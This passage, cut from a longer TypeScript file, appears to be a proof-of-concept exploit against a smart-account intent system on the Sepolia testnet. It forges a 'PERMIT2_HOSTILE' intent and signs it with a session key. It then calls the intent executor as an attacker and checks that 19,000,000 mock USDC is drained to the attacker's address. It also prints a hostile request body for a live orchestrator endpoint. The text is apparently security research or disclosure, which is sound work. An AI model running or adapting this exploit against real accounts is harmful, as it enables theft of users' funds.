functionName: 'isPermissionEnabled',
args: [hca, permissionId],
}),
'session enabled',
)
const originOp: Op = {
vt: ERC7579_ERC1271_VT,
ops: [
{
to: c.usdc,
value: 0n,
data: encodeFunctionData({
abi: mockUsdcAbi,
functionName: 'transfer',
args: [attacker.address, steal],
}),
},
],
}
const destOp: Op = {
vt: ERC7579_ERC1271_VT,
ops: buildRevealBatch({
chainId: sepolia.id,
hca,
resolver,
resolverDeployed: false,
label: 'myname',
wallet: owner.address,
secret:
'0x1111111111111111111111111111111111111111111111111111111111111111' as Hex,
price: 8_000_021n,
duration: 31_536_000n,
}).map((call) => ({ to: call.to, value: call.value, data: call.data })),
}
const accountCfg = buildStandaloneAccountConfig(sepolia.id)
const sdkConfig = {
account: accountCfg,
owners: {
type: 'ecdsa' as const,
accounts: [owner],
module: accountCfg.validator,
},
experimental_sessions: {
enabled: true,
module: accountCfg.validator,
},
}
// ── A. Warp omits settlementLayers, session-signs ─────────────────────
console.log('\n[A] submitWarpTransaction (their actor) — capture sdkParams')
let warpParams: Record<string, unknown> | undefined
const fakeAccount = {
getAddress: () => hca,
sendTransaction: async (params: Record<string, unknown>) => {
warpParams = params
return { id: 1n }
},
waitForExecution: async () => ({
fill: { hash: `0x${'11'.repeat(32)}` as Hash },
}),
} as unknown as RhinestoneAccount
const warpSigner: RhinestoneSigner = {
type: 'rhinestone',
account: fakeAccount,
config: {
rhinestoneApiKey: 'poc-not-sent',
chain: sepolia,
defaultInfra: 'warp',
},
session: { session },
}
const warpResult = await submitWarpTransaction({
request: {
type: 'rhinestone-intent',
from: hca,
chainId: sepolia.id,
rhinestoneParams: {
calls: destOp.ops,
feeAsset: 'USDC',
},
},
signer: warpSigner,
})
assert(warpResult.isOk(), `Warp actor ok: ${warpResult.isErr() ? warpResult.error.message : ''}`)
assert(warpParams, 'Warp captured sendTransaction params')
assert(
!('settlementLayers' in warpParams),
'Warp sdkParams must omit settlementLayers',
)
const warpSigners = warpParams.signers as {
type: string
verifyExecutions: boolean
session: unknown
enableData?: unknown
}
assert(warpSigners?.type === 'experimental_session', 'session signers')
assert(warpSigners.verifyExecutions === true, 'verifyExecutions: true')
assert(warpSigners.enableData === undefined, 'reveal omits enableData')
assert(Array.isArray(warpParams.calls), 'calls passed through')
console.log(' PASS settlementLayers omitted')
console.log(' PASS signers.experimental_session verifyExecutions=true (no wallet)')
console.log(' keys ', Object.keys(warpParams).sort().join(','))
// ── B. getIntentMessages ──────────────────────────────────────────────
console.log('\n[B] patched SDK getIntentMessages')
const replaceElement = hostileElement({
hca,
attacker: attacker.address,
usdc: c.usdc,
originOp,
destOp,
expires,
settlementLayer: 'PERMIT2_HOSTILE',
})
const honestExecutorElement = {
...replaceElement,
mandate: {
...replaceElement.mandate,
qualifier: {
encodedVal: '0x' as Hex,
settlementContext: {
settlementLayer: 'INTENT_EXECUTOR',
fundingMethod: 'INTENT_EXECUTOR',
},
},
},
}
const replaceMessages = patched.getIntentMessages(
sdkConfig,
intentOp(replaceElement, nonce, expires),
)
assert(
replaceMessages.origin[0]?.primaryType === 'PermitBatchWitnessTransferFrom',
`replace-sole-element primaryType=${replaceMessages.origin[0]?.primaryType}`,
)
const appendMessages = patched.getIntentMessages(
sdkConfig,
intentOp(replaceElement, nonce, expires, honestExecutorElement),
)
assert(
appendMessages.origin[0]?.primaryType === 'SingleChainOps',
`append-Permit2 primaryType=${appendMessages.origin[0]?.primaryType} (must be SingleChainOps — append is DEAD)`,
)
const destSig = await patched.getTargetExecutionSignature(
sdkConfig,
intentOp(replaceElement, nonce, expires),
sepolia,
{
type: 'experimental_session',
session,
verifyExecutions: true,
},
)
assert(
destSig === undefined,
'hostile PERMIT2_HOSTILE must not dest-sign SingleChainOps',
)
console.log(' PASS replace-sole-element → PermitBatchWitnessTransferFrom')
console.log(' PASS append INTENT_EXECUTOR+PERMIT2 → SingleChainOps (DEAD)')
console.log(' PASS getTargetExecutionSignature undefined (no dest 0x01)')
const typedData = replaceMessages.origin[0]
assert(typedData, 'Permit2 typed data')
const digest = hashTypedData(typedData as Parameters<typeof hashTypedData>[0])
console.log(' digest', digest)
console.log('\n=== hostile POST /intents/route (do not send live) ===')
console.log(
JSON.stringify(
{
method: 'POST',
url: 'https://v1.orchestrator.rhinestone.dev/intents/route',
body: {
settlementLayer: 'PERMIT2_HOSTILE',
fundingMethod: 'PERMIT2',
arbiter: attacker.address,
nonce: nonce.toString(),
preClaimOps: originOp.ops.map((o) => ({
to: o.to,
value: o.value.toString(),
data: o.data,
})),
destinationOps: destOp.ops.map((o) => ({
to: o.to,
value: o.value.toString(),
})),
},
},
null,
2,
),
)
// ── C. their packer ───────────────────────────────────────────────────
console.log('\n[C] packStandaloneHcaPermit2SessionSignature from patched utils.js')
const sessionSig = await sessionAccount.sign({ hash: digest })
const packedSessionSignature = concat([
'0x00',
permissionId,
sessionSig,
]) as Hex
assert(
(packedSessionSignature.length - 2) / 2 === 98,
'packed session sig 98 bytes',
)
const signature = patched.packStandaloneHcaPermit2SessionSignature(
sdkConfig,
{
type: 'experimental_session',
session,
verifyExecutions: true,
},
typedData,
packedSessionSignature,
)
const mode = slice(signature, 20, 21)
assert(mode === '0x03', `packer mode ${mode} (want 0x03)`)
assert(slice(signature, 0, 20).toLowerCase() === INTENT_EXECUTOR.slice(0, 2) + '0'.repeat(40) || slice(signature, 0, 20) === '0x0000000000000000000000000000000000000000', 'zeroAddress prefix')
console.log(' PASS patched packer returned 0x03 envelope,', (signature.length - 2) / 2, 'bytes')
const hashes = mandateHashes(typedData)
const preClaimOpsData = encodeExecutorOperation(originOp)
const destOpsData = encodeExecutorOperation(destOp)
const beforeHca = await publicClient.readContract({
address: c.usdc,
abi: mockUsdcAbi,
functionName: 'balanceOf',
args: [hca],
})
const beforeAtk = await publicClient.readContract({
address: c.usdc,
abi: mockUsdcAbi,
functionName: 'balanceOf',
args: [attacker.address],
})
console.log('\n=== BEFORE ===')
console.log('HCA MockUSDC ', beforeHca.toString())
console.log('attacker MockUSDC', beforeAtk.toString())
// ── F first (must run before steal consumes nonce) dest-policy contrast ─
console.log('\n[F] dest policy: same transfer as destOps must revert')
const destIsTransfer = hostileElement({
hca,
attacker: attacker.address,
usdc: c.usdc,
originOp,
destOp: originOp,
expires,
settlementLayer: 'PERMIT2_HOSTILE',
})
const destTransferMessages = patched.getIntentMessages(
sdkConfig,
intentOp(destIsTransfer, nonce + 1n, expires),
)
const destTransferTyped = destTransferMessages.origin[0]
assert(destTransferTyped, 'dest=transfer typed data')
const destTransferDigest = hashTypedData(
destTransferTyped as Parameters<typeof hashTypedData>[0],
)
const destTransferSig = await sessionAccount.sign({ hash: destTransferDigest })
const destTransferEnvelope = patched.packStandaloneHcaPermit2SessionSignature(
sdkConfig,
{ type: 'experimental_session', session, verifyExecutions: true },
destTransferTyped,
concat(['0x00', permissionId, destTransferSig]) as Hex,
)
const destTransferHashes = mandateHashes(destTransferTyped)
let destPolicyReverted = false
let destPolicySel: string | undefined
try {
await publicClient.simulateContract({
account: attacker.address,
address: INTENT_EXECUTOR,
abi: executorAbi,
functionName: 'executePreClaimOpsWithPermit2Stub',
args: [
hca,
{ nonce: nonce + 1n, expires },
{
tokenInHash: destTransferHashes.tokenInHash,
minGas: 1n,
targetAttributesHash: destTransferHashes.targetAttributesHash,
destOpsHash: destTransferHashes.destOpsHash,
qHash: destTransferHashes.qHash,
},
{ data: encodeExecutorOperation(originOp) },
destTransferEnvelope,
],
})
} catch (error) {
destPolicyReverted = true
destPolicySel = revertSelector(error)
const text = String((error as { shortMessage?: string }).shortMessage ?? error)
console.log(' revert', text.slice(0, 180))
if (destPolicySel) console.log(' selector', destPolicySel)
}
assert(destPolicyReverted, 'dest=transfer must revert')
assert(
destPolicySel === '0x8baa579f' || destPolicySel === ACTION_NOT_ALLOWED,
`dest=transfer selector ${destPolicySel} (want InvalidSignature 0x8baa579f wrapping ActionNotAllowed)`,
)
console.log(' PASS destOps=transfer → InvalidSignature() (validator ActionNotAllowed wrapped by executor)')
// ── D. steal ──────────────────────────────────────────────────────────
console.log('\n[D] attacker → executePreClaimOpsWithPermit2Stub (real proxy)')
const { request } = await publicClient.simulateContract({
account: attacker.address,
address: INTENT_EXECUTOR,
abi: executorAbi,
functionName: 'executePreClaimOpsWithPermit2Stub',
args: [
hca,
{ nonce, expires },
{
tokenInHash: hashes.tokenInHash,
minGas: 1n,
targetAttributesHash: hashes.targetAttributesHash,
destOpsHash: hashes.destOpsHash,
qHash: hashes.qHash,
},
{ data: preClaimOpsData },
signature,
],
})
const stealHash = await attackerWallet.writeContract(request)
const stealReceipt = await publicClient.waitForTransactionReceipt({
hash: stealHash,
})
assert(stealReceipt.status === 'success', 'steal tx success')
const afterHca = await publicClient.readContract({
address: c.usdc,
abi: mockUsdcAbi,
functionName: 'balanceOf',
args: [hca],
})
const afterAtk = await publicClient.readContract({
address: c.usdc,
abi: mockUsdcAbi,
functionName: 'balanceOf',
args: [attacker.address],
})
console.log('\n=== AFTER ===')
console.log('HCA MockUSDC ', afterHca.toString())
console.log('attacker MockUSDC', afterAtk.toString())
console.log('stolen ', (afterAtk - beforeAtk).toString())
console.log('tx', stealHash, 'gas', stealReceipt.gasUsed.toString())
assert(afterAtk - beforeAtk === steal, `stolen ${afterAtk - beforeAtk} != ${steal}`)
assert(afterHca === fund - steal, `HCA leftover ${afterHca}`)
console.log(' PASS 19_000_000 MockUSDC moved HCA → attacker')
// ── E. dest-kill ──────────────────────────────────────────────────────
console.log('\n[E] dest-kill')
const nonceUsed = await publicClient.readContract({
address: INTENT_EXECUTOR,
abi: executorAbi,
functionName: 'isPermit2IntentNonceConsumed',
args: [nonce, hca],
})
assert(nonceUsed === true, 'Permit2 nonce consumed')
console.log(' PASS isPermit2IntentNonceConsumed(nonce, HCA) = true')
let destOnlyRouter = false
try {
await publicClient.simulateContract({
account: attacker.address,
address: INTENT_EXECUTOR,
abi: executorAbi,
functionName: 'executeTargetOpsWithPermit2Stub',
args: [
hca,
{ nonce, expires },
{
sponsor: hca,
arbiter: attacker.address,
minGas: 1n,
notarizedChainId: BigInt(sepolia.id),
preClaimOpsHash: hashOp(originOp),
tokenInHash: hashes.tokenInHash,
qHash: hashes.qHash,
targetStub: {
fillExpiry: expires,
tokenOutHash: hashes.tokenOutHash,
},
},
{ data: destOpsData },
signature,
],
})
} catch (error) {
destOnlyRouter = true
const text = String((error as { shortMessage?: string }).shortMessage ?? error)
console.log(' dest stub revert', text.slice(0, 160))
const sel = revertSelector(error)
if (sel) console.log(' selector', sel)
assert(
/OnlyRouter|onlyRouter|0x9e41bdd7/i.test(text) || sel === ONLY_ROUTER,
`dest stub must be onlyRouter, got: ${text.slice(0, 120)}`,
)
}
assert(destOnlyRouter, 'executeTargetOpsWithPermit2Stub must revert for the attacker')
console.log(' PASS dest executeTargetOpsWithPermit2Stub is onlyRouter (attacker cannot land register)')
console.log('\nALL PASS — Warp omit + getIntentMessages + patched 0x03 packer + steal + dest-kill + dest policy')
if (spawned) spawned.kill('SIGTERM')
}
main().catch((error) => {
console.error(error)
process.exit(1)
})